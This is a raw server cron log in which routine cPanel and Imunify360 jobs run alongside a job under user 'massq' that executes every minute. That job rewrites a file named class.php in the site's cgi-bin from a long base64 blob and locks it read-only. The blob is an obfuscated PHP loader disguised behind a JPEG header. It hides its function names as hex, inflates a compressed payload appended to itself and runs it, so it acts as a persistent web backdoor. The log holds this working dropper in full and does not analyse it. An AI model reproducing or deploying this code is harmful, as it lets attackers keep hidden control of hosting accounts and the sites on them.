VCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:13:01 server CROND[18668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:13:01 server CROND[18669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:13:01 server CROND[18670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:14:01 server CROND[19056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:14:01 server CROND[19057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:14:01 server CROND[19058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:15:01 server CROND[19535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:15:01 server CROND[19536]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:15:01 server CROND[19539]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 08:15:01 server CROND[19540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:15:01 server CROND[19541]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 08:15:01 server CROND[19543]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:15:01 server CROND[19551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:15:01 server CROND[19549]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 08:15:01 server CROND[19550]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 08:16:01 server CROND[20413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:16:01 server CROND[20414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:16:01 server CROND[20420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:17:01 server CROND[20806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:17:01 server CROND[20807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:17:01 server CROND[20808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:18:01 server CROND[21299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:18:01 server CROND[21300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:18:01 server CROND[21301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:19:01 server CROND[21684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:19:01 server CROND[21686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:19:01 server CROND[21687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:20:01 server CROND[22173]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 08:20:01 server CROND[22176]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:20:01 server CROND[22178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:20:01 server CROND[22179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:20:01 server CROND[22182]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:20:01 server CROND[22185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:20:01 server CROND[22181]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 08:20:01 server CROND[22180]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 08:20:01 server CROND[22184]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 08:21:01 server CROND[23201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:21:01 server CROND[23202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:21:01 server CROND[23203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:22:01 server CROND[23587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:22:01 server CROND[23588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:22:01 server CROND[23589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:23:01 server CROND[23969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:23:01 server CROND[23970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:23:01 server CROND[23971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:24:01 server CROND[24350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:24:01 server CROND[24352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:24:01 server CROND[24351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:25:01 server CROND[24751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
